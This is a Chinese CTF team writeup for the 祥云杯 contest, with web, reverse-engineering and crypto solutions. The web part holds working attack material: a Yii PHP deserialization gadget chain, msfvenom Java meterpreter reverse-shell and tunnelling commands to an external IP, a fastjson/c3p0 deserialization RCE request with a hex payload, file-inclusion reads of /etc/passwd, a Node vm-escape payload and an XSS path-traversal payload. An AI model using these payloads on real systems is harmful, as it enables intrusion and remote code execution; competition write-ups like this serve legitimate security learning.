祥云杯-WRITEUP-bad

一、战队信息

战队名称：bad_cat

战队排名：6

二、解题情况

三、解题过程

web

1、ezyii

网上搜yii的1day

xz.aliyun.com/t/9948#toc-…

思路类似于第四条链子

exp:

<?php
namespace Codeception\Extension{use Faker\DefaultGenerator;use GuzzleHttp\Psr7\AppendStream;classRunProcess{protected $output;private $processes = [];public function __construct(){$this->processes[]=new DefaultGenerator(new AppendStream());$this->output=new DefaultGenerator('jiang');}}echo base64_encode(serialize(new RunProcess()));
}namespace Faker{class DefaultGenerator
{protected $default;public function __construct($default = null) {$this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{use Faker\DefaultGenerator;final class AppendStream{private $streams = [];private $seekable = true;public function __construct(){$this->streams[]=new CachingStream();}}final class CachingStream{private $remoteStream;public function __construct(){$this->remoteStream=new DefaultGenerator(false);$this->stream=newPumpStream();}}final class PumpStream{private $source;private $size=-10;private $buffer;public function __construct(){$this->buffer=new DefaultGenerator('j');include("closure/autoload.php");$a = function(){system('cat /flag.txt');};$a = \Opis\Closure\serialize($a);$b = unserialize($a);$this->source=$b;}}
}

然后post就行

flag{19fefeeb-989a-4017-8001-7af62b9e511b}

2、层层穿透

直接传jar可以反弹shell进内网入口

参考 blog.csdn.net/cainiao1744…

msfvenom -p java/meterpreter/reverse_tcp LHOST=82.157.25.143 LPORT=11112 -f jar > rce111.jar

use exploit/multi/handler

set PAYLOAD java/meterpreter/reverse_tcp

set lhost 82.157.25.143

set lport 11112

run -j

先监听后上传，就不会报500的错误了

此时再去submit

sessions

sessions id 执行拿到shell再 bash -i 2>&1 ，上传一个ew内网穿透(github.com/idlefire/ew…%25EF%25BC%258Cchmod%25E4%25B8%258B "https://github.com/idlefire/ew)%EF%BC%8Cchmod%E4%B8%8B")

msf的upload shell执行

./ew -s rssocks -d 82.157.25.143 -e 18888

扫描c段，看10.10.1.11:8080

post登陆

抓个包拿session

Cookie: JSESSIONID=DF20EA8AA43E4B62E2CEED904810B112

源码解压看pom.xml依赖

漏洞点在fastjson，

先post admin/123456登陆 /doLogin

再参考github.com/safe6Sec/Fa… 构造rce的post

注意要大于2w

POST /admin/test HTTP/1.1
Host: 10.10.1.11:8080
Content-Type: application/json
cmd: cat /flag
Content-Length: 31124
Cookie: JSESSIONID=DF20EA8AA43E4B62E2CEED904810B112{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000103F400000000000027372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870707400136765744F757470757450726F7065727469657370737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C770800000010000000017371007E000B3F4000000000000C770800000010000000017372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E00084C00055F6E616D6571007E00074C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E0020000787000000DCFCAFEBABE0000003400CD0A0014005F090033006009003300610700620A0004005F09003300630A006400650A003300660A000400670A000400680A0033006907006A0A0014006B0A0012006C08006D0B000C006E08006F0700700A001200710700720A007300740700750700760700770800780A0079007A0A0018007B08007C0A0018007D08007E08007F0800800B001600810700820A008300840A008300850A008600870A002200880800890A0022008A0A0022008B0A008C008D0A008C008E0A0012008F0A009000910A009000920A001200930A003300940700950A00120096070097010001680100134C6A6176612F7574696C2F486173685365743B0100095369676E61747572650100274C6A6176612F7574696C2F486173685365743C4C6A6176612F6C616E672F4F626A6563743B3E3B010001720100274C6A617661782F736572766C65742F687474702F48747470536572766C6574526571756573743B010001700100284C6A617661782F736572766C65742F687474702F48747470536572766C6574526573706F6E73653B0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C65010004746869730100204C79736F73657269616C2F7061796C6F6164732F436F6D6D6F6E4563686F313B01000169010015284C6A6176612F6C616E672F4F626A6563743B295A0100036F626A0100124C6A6176612F6C616E672F4F626A6563743B01000D537461636B4D61705461626C65010016284C6A6176612F6C616E672F4F626A6563743B492956010001650100154C6A6176612F6C616E672F457863657074696F6E3B010008636F6D6D616E64730100135B4C6A6176612F6C616E672F537472696E673B0100016F01000564657074680100014907007607004C070072010001460100017101000D6465636C617265644669656C640100194C6A6176612F6C616E672F7265666C6563742F4669656C643B01000573746172740100016E0100114C6A6176612F6C616E672F436C6173733B07007007009807009901000A536F7572636546696C65010010436F6D6D6F6E4563686F312E6A6176610C003C003D0C003800390C003A003B0100116A6176612F7574696C2F486173685365740C0034003507009A0C009B009C0C005300480C009D00440C009E00440C004300440100256A617661782F736572766C65742F687474702F48747470536572766C6574526571756573740C009F00A00C00A100A2010003636D640C00A300A401000B676574526573706F6E736501000F6A6176612F6C616E672F436C6173730C00A500A60100106A6176612F6C616E672F4F626A6563740700A70C00A800A90100266A617661782F736572766C65742F687474702F48747470536572766C6574526573706F6E73650100136A6176612F6C616E672F457863657074696F6E0100106A6176612F6C616E672F537472696E670100076F732E6E616D650700AA0C00AB00A40C00AC00AD01000357494E0C009D00AE0100022F630100072F62696E2F73680100022D630C00AF00B00100116A6176612F7574696C2F5363616E6E65720700B10C00B200B30C00B400B50700B60C00B700B80C003C00B90100025C410C00BA00BB0C00BC00AD0700BD0C00BE00BF0C00C0003D0C00C100C20700990C00C300C40C00C500C60C00C700C80C003A00480100135B4C6A6176612F6C616E672F4F626A6563743B0C00C900A001001E79736F73657269616C2F7061796C6F6164732F436F6D6D6F6E4563686F3101001A5B4C6A6176612F6C616E672F7265666C6563742F4669656C643B0100176A6176612F6C616E672F7265666C6563742F4669656C640100106A6176612F6C616E672F54687265616401000D63757272656E7454687265616401001428294C6A6176612F6C616E672F5468726561643B010008636F6E7461696E73010003616464010008676574436C61737301001328294C6A6176612F6C616E672F436C6173733B010010697341737369676E61626C6546726F6D010014284C6A6176612F6C616E672F436C6173733B295A010009676574486561646572010026284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F537472696E673B0100096765744D6574686F64010040284C6A6176612F6C616E672F537472696E673B5B4C6A6176612F6C616E672F436C6173733B294C6A6176612F6C616E672F7265666C6563742F4D6574686F643B0100186A6176612F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"a":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa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}

flag{966fc4a2-e291-4136-84be-5bfd19b949e2}

3、安全检测

读http://127.0.0.1读到源码

可以读到/etc/passwd

http://127.0.0.1/admin/include123.php?u=/etc/passwd

读到session

http://127.0.0.1/admin/include123.php?u=/tmp/session_ef81f6c1aca58c2b24f9d63bf77dba07

http://127.0.0.1/admin/include123.php?u=/etc/passwd#输入就可以写到session里面了

用#注释掉后面的一句话木马，不被访问，要的是这个路由，记录路由后，再换个浏览器的phpsession访问一下即可

ls发现了/getflag.sh 因为过滤了flag，base一下才行

flag{c2c15ff3-0341-49f0-9997-36b107b9cf3a}

4、crawler_z

第一次我注册的yenan/yenan，填写profile后观察url出现token1

第二次admin/admin，直接ssrf伪造/user/verify?token=token1

可以指定爬取

vps启动一个http

Python -m SimpleHTTPServer 11111

然后去访问 http://82.157.39.20:11111/escape.html#oss-cn-beijing.ichunqiu.com

读到了，后面构造js的vm逃逸,document.write直接在html里面写，省去外带了

<script> document.write(this.constructor.constructor.constructor.constructor('return process')().mainModule.require('child_process').execSync('/readflag').toString()); </script>

flag{f0425be6-3e46-472a-8879-e19525839caf}

5、Secrets_Of_Admin

源码拿到

admin@e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645

登陆

js的数组绕过，这样检测就没有某个元素绕不过正则了，写checksum为crhyyds，提交post时候url编码下

content[]=%3Cscript%3Elocation.href%3D%22http%3A%2F%2F127.0.0.1%3A8888%2Fapi%2Ffiles%3Fusername%3Dadmin%26filename%3D..%2Ffiles%2Fflag%26checksum%3Dcrhyyds%22%3B%3C%2Fscript%3E

得到flag为：flag{65453076-effe-48dc-98d5-d0d235f766f8}

reverse

1、Rev_APC

生成dll代码

知道了 sha3-256，但是后面并没用上。

核心逻辑:在dll的0x1800015C0函数中，与sys有两种方式通信。

1.dll的0x1800015C0函数中调用了NtRequestWaitReplyPort，这个sys中有NtReplyWaitReceivePort函数负责接收。sys真正处理数据的函数0x14000298C，算法比较好看懂。

2.dll中调用DeviceIOControl，对应sys中的函数为0x140003660。

后面就是看算法了。

exp:

from zio import *
def fun6(a, b):for i in range(32):c = a[i]if (c >= 33) & (c <= 79):a[i] = (c - 80) & 0xffb[i] = (b[i]+a[i])&0xffelif (c >= 81) & (c <= 127):a[i] = c - 48b[i] ^= (a[i] >> 4)elif (c > 128):a[i] = c - 48b[i] = (b[i]-a[i])&0xffreturn a, bdef defun6(a, b):for i in range(32):c = a[i]if (c >= 33) & (c <= 79):a[i] = (c - 80) & 0xffb[i] = (b[i]-a[i])&0xffelif (c >= 81) & (c <= 127):a[i] = c - 48b[i] ^= (a[i] >> 4)elif (c > 128):a[i] = c - 48b[i] = (b[i]+a[i])&0xffreturn a, bdef fun5(a, b):for i in range(32):b[i] ^= a[i]return a, bdef fun4(a, b):for i in range(32):a[i] = (a[i] - 80) & 0xfffor i in range(16):b[2 * i] ^= (16 * a[2 * i]) & 0xffb[2 * i + 1] ^= ((a[2 * i]) >> 4) & 0xfreturn a, bdef fun3(a, b):for i in range(32):b[i] ^= a[i]return a, bdef fun2(a, b):for i in range(32):a[i] = (a[i] - 80) & 0xffb[i] ^= ((a[i]>>4)&0xf) | ((a[i]<<4)&0xf0)return a, bdef fun1(a, b):for i in range(32):a[i] = (a[i]+16)&0xffb[i] ^= a[i]return a, bdef enc():b = [ord(c) for c in 'flag{12345678901234567890123456}']#b = [91, 36, 164, 45, 64, 21, 144, 29, 194, 5, 189, 39, 240, 29, 80, 137, 178, 73, 216, 105, 177, 245, 80, 59, 99, 154, 94, 170, 79, 175, 153, 126]'''a3 = '9d5f741799d7e62274f01963516316d2eb6888b737bab0a2b0e1774e3b7389e5'.decode('hex')a2 = [0xA5, 0xCF, 0xCD, 0xD6, 0xC5, 0xC3, 0xB1, 0xC5, 0xD2, 0xD9, 0xD7, 0xC7, 0xD6, 0xCD, 0xD4, 0xD8, 0xC3, 0xBB, 0xCD, 0xD8, 0xCC, 0xC3, 0xB0, 0xC5, 0xD8, 0xC9, 0xDC]a4 = []for i in range(32):a4.append(ord(a3[i])^a2[i%len(a2)])'''a = []a2 = [0xA5, 0xCF, 0xCD, 0xD6, 0xC5, 0xC3, 0xB1, 0xC5, 0xD2, 0xD9, 0xD7, 0xC7, 0xD6, 0xCD, 0xD4, 0xD8, 0xC3, 0xBB, 0xCD, 0xD8, 0xCC, 0xC3, 0xB0, 0xC5, 0xD8, 0xC9, 0xDC, 0, 0, 0, 0, 0]for i in range(32):c = 0for j in range(i+1):c ^= a2[j]a.append(c)orders = [0, 5, 5, 2, 2, 3, 4, 4, 3, 2, 0, 3, 0, 3, 2, 1, 5, 1, 3, 1, 5, 5, 2, 4, 0, 0, 4, 5, 4, 4, 5, 5][::-1]print '----------'for i in range(32):print a,','if orders[i] == 0:fun1(a, b)elif orders[i] == 1:fun2(a, b)elif orders[i] == 2:fun3(a, b)elif orders[i] == 3:fun4(a, b)elif orders[i] == 4:fun5(a, b)elif orders[i] == 5:fun6(a, b)print '----------'print (b)def get_aas2(orders):b = [ord(c) for c in 'flag{12345678901234567890123456}']a = []a3 = '9d5f741799d7e62274f01963516316d2eb6888b737bab0a2b0e1774e3b7389e5'.decode('hex')a2 = [0xA5, 0xCF, 0xCD, 0xD6, 0xC5, 0xC3, 0xB1, 0xC5, 0xD2, 0xD9, 0xD7, 0xC7, 0xD6, 0xCD, 0xD4, 0xD8, 0xC3, 0xBB, 0xCD, 0xD8, 0xCC, 0xC3, 0xB0, 0xC5, 0xD8, 0xC9, 0xDC]a4 = []for i in range(32):a4.append(ord(a3[i])^a2[i%len(a2)])for i in range(32):c = 0for j in range(i+1):c ^= a4[j]a.append(c)aas = []for i in range(32):aas.append(a[:])if orders[i] == 0:fun1(a, b)elif orders[i] == 1:fun2(a, b)elif orders[i] == 2:fun3(a, b)elif orders[i] == 3:fun4(a, b)elif orders[i] == 4:fun5(a, b)elif orders[i] == 5:fun6(a, b)return aasdef get_aas(orders):b = [ord(c) for c in 'flag{12345678901234567890123456}']a = []a2 = [0xA5, 0xCF, 0xCD, 0xD6, 0xC5, 0xC3, 0xB1, 0xC5, 0xD2, 0xD9, 0xD7, 0xC7, 0xD6, 0xCD, 0xD4, 0xD8, 0xC3, 0xBB, 0xCD, 0xD8, 0xCC, 0xC3, 0xB0, 0xC5, 0xD8, 0xC9, 0xDC, 0, 0, 0, 0, 0]for i in range(32):c = 0for j in range(i+1):c ^= a2[j]a.append(c)aas = []for i in range(32):aas.append(a[:])if orders[i] == 0:fun1(a, b)elif orders[i] == 1:fun2(a, b)elif orders[i] == 2:fun3(a, b)elif orders[i] == 3:fun4(a, b)elif orders[i] == 4:fun5(a, b)elif orders[i] == 5:fun6(a, b)return aasdef dec(aas, orders, seed):#b = [101, 46, 7, 63, 148, 47, 164, 57, 127, 160, 41, 36, 28, 175, 229, 120, 228, 102, 147, 78, 254, 68, 207, 240, 223, 246, 251, 73, 235, 24, 215, 30]#b = [132, 13, 239, 89, 97, 68, 214, 77, 139, 199, 61, 244, 220, 107, 175, 6, 222, 75, 100, 91, 167, 143, 135, 74, 72, 246, 81, 54, 83, 64, 165, 216]bs = l64(0x2F34A83A1B38C557) + l64(0xEE8F2F04E4C69739) + l64(0x486FC9246780515E) + l64(0xEBC2C2B0C7BD7F5B)b = [ord(i) for i in bs]re_orders = orders[::-1]for i in range(32):a = aas[31-i]if re_orders[i] == 0:fun1(a, b)elif re_orders[i] == 1:fun2(a, b)elif re_orders[i] == 2:fun3(a, b)elif re_orders[i] == 3:fun4(a, b)elif re_orders[i] == 4:fun5(a, b)elif re_orders[i] == 5:defun6(a, b)#print bs = ''.join(chr(i) for i in b)is_printable = Truefor i in range(10):if b[i] > 0x80:is_printable = Falsebreakif is_printable:print seed, sreturn is_printabledef srand(s):global seedseed = s# microsoft c runtime implementation
def rand():global seedseed = (seed * 214013 + 2531011) % 2**64return (seed >> 16)&0x7fffdef gen_order(seed=1):srand(seed)orders = []for i in range(32):orders.append(rand() % 6)return ordersorders = gen_order(seed=1)
aas = get_aas(orders)
dec(aas, orders, 1)

flag{Kmode_Umode_Communication!}

2、勒索解密

分析的程序主要逻辑为先计算出固定秘钥+时间戳结合生成的key进行sha256，再以此作为key将生成将.bmp文件内容进行aes加密，加密iv为0

代码如下：

#coding:utf-8
import base64
from hashlib import *
from Crypto.Cipher import AESdef decrypt(data, key):cryptos = AES.new(key, AES.MODE_ECB)decrpytBytes = list(base64.b64decode(data))decrpytBytes = bytes(decrpytBytes) data = cryptos.decrypt(decrpytBytes)return datakey = "f4b6bb19108b56fc60a61fc967c0afbe71d2d9048ac0ffe931c901e75689eb46"[:32]
key = bytes.fromhex(key)
f1 = open("flag.bmp.ctf_crypter", "rb")
f2 = open("flag.bmp", "wb")
data = f1.read()def xor(enc, data):res = []for i in range(len(a)):res += [enc[i]^data[i]]return bytes(res)for i in range(len(data)//16):enc = base64.b64encode(data[16*i:16*(i+1)])if i > 0:ans = xor(decrypt(enc, key), data[16*(i-1):16*i])else:ans = decrypt(enc, key)fp2.write(ans)
f1.close()
f2.close()

解密得到flag如下：

3、LightningSystem

从hex生成bin文件。bin文件用ida打开，选择arm架构。分析程序发现从spi接口读取了512字节的数据。通过tips链接下载的logic2软件打开logic.sal可以看到4个波形图，其中chall 2为输入，根据波形提取出512字节数据。继续分析LightningSystem.bin代码，可以看出是个vm，写脚本得到vmcode的功能。继续分析vmcode的代码，得到算法，最后求解exp如下：

求解

def brute(v4, v5, a, b, j):should_out = [0x12, 0x67, 0x0F, 0xDB, 0xF6, 0x0A, 0x0F, 0x39, 0xF6, 0xC9, 0xF5, 0xC1, 0xF2, 0xA3, 0x0D, 0xD0, 0xF5, 0x01, 0x0C, 0x6F, 0x0E, 0x39, 0xF2, 0x80, 0xF5, 0xE4, 0x0C, 0xD7, 0xF8, 0x68, 0x0C, 0x96, 0xF5, 0xA5, 0x0F, 0x9F, 0x0F, 0x31, 0xF9, 0x2E, 0x1B, 0x07]v13 = av14 = bv15 = 7 * (j ^ 0x4D)v16 = (v5 + 7 * (j ^ 0x4D)) & 0xffv18 = v13 - 0x20 + v16v19 = (v14 - 0x20) << 7o1 = ((v4 + ((v19 + v18) >> 8) + ((v15 + v5) >> 8)) & 0xff)o2 = ((v18 + v19) & 0xff)if (o1 == should_out[2*j]) & (o2 == should_out[2*j+1]):print a, breturn Truereturn Falsev4 = 234
v5 = 6
s = ''
for k in range(21):find = Falsefor a in range(0x20, 0x80):for b in range(0x20, 0x80):if brute(v4, v5, a, b, k):s += chr(a)+chr(b)find = Truebreakif find:breakif not find:print ('fail')
print s

得到flag如下：flag{31fd5c30-dc82-abd0-741b-9ba425f2e692}

4、Rev_Dizzy

看反编译的代码，完了拿比较的数据反过来进行加减异或

代码太大，就不贴了，在附属文档（命名为deal.cpp)

跑出flag如下：

crypto

1、Guess

先是一个sha256的爆破，一共要爆破四位，10秒内出结果，第一关就过去了，第二关和矩阵运算有关，key的矩阵给了第一列的数据【119，201，718，647】，有了这行数据和最后矩阵相乘的结果，可以通过sage函数key.solve_left()来求得中间生成的随机矩阵。

但这个函数的限制条件没调好，现在只能解出一个无用的特解。

首先求key，key是一个20_4的矩阵，乘以一个4_12的矩阵得到hint中的矩阵。也就是A*R=B，已知B求A。ctf.njupt.edu.cn/546.html#di…

msg = open(r'C:\\Users\\wcj\\Desktop\\guess_c31fa29ffba2ff77b12dec354b8909e6\\hint', 'r').readlines()
B = []
for var in msg:var = var[1:-2].split(' ')for x in var:B.append(int(x))
BB = []
for i in range(0, len(B), 20):BB.append(B[i: i + 20])
As = []
for i in range(1000):shuffle(BB)for line in matrix(len(BB), 20, BB).LLL(delta=float(randint(30000, 99999)/100000)):if line[0] < 0:line = -lineif line not in As and all(map(lambda x: 100 <= x <= 1000, line)):print(len(BB), line)As.append(line)
a = [241, 232, 548, 400, 186, 333, 646, 727, 286, 877, 810, 121, 237, 745, 201, 542, 244, 396, 158, 641]
b = [119, 521, 142, 637, 614, 746, 299, 416, 638, 288, 995, 498, 639, 585, 114, 885, 558, 783, 899, 751]
c = [718, 550, 349, 939, 148, 355, 942, 685, 313, 577, 184, 130, 307, 983, 611, 903, 271, 530, 566, 427]
d = [647, 918, 613, 936, 461, 281, 977, 888, 128, 653, 309, 780, 526, 216, 944, 123, 430, 860, 113, 129]
m = matrix([b, a, c, d])
K = []
for i in range(20):for j in range(4):K.append(m[j][i])
print(K)
print(len(K)==80)

